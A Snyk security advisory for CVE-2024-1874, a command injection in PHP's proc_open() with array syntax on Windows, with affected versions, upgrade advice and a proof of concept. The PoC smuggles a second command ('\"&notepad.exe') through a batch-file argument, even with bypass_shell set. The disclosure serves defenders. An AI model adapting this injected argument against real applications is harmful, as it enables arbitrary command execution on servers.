Command Injection Affecting php package, versions [,8.1.28)[8.2.0,8.2.18)[8.3.0,8.3.6)


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.04% (13th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Command Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-UNMANAGED-PHP-7246771
  • published12 Jun 2024
  • disclosed29 Apr 2024
  • creditRyotaK

Introduced: 29 Apr 2024

CVE-2024-1874  (opens in a new tab)
CWE-78  (opens in a new tab)

How to fix?

Upgrade php to version 8.1.28, 8.2.18, 8.3.6 or higher.

Overview

Affected versions of this package are vulnerable to Command Injection when using proc_open() command with array syntax, due to insufficient escaping. If the arguments of the executed command are controlled by a malicious user, the user can supply arguments that would execute arbitrary commands in Windows shell, even if the bypass_shell option is enabled.

PoC

  1. Save the following file as test.bat

echo hello

  1. Save the following file as test.php
<?php
$descriptorspec = [STDIN, STDOUT, STDOUT];
$proc = proc_open(["test.bat", "\"&notepad.exe"], $descriptorspec, $pipes);
proc_close($proc);
  1. Run it with PHP and confirm that notepad.exe is executed.

Alternatively, you can use the following PHP file to confirm that the bypass_shell option doesn't prevent this behavior.

<?php
$descriptorspec = [STDIN, STDOUT, STDOUT];
$proc = proc_open(["test.bat", "\"&notepad.exe"], $descriptorspec, $pipes, null, null, array("bypass_shell" => true));
proc_close($proc);

References

CVSS Scores

version 3.1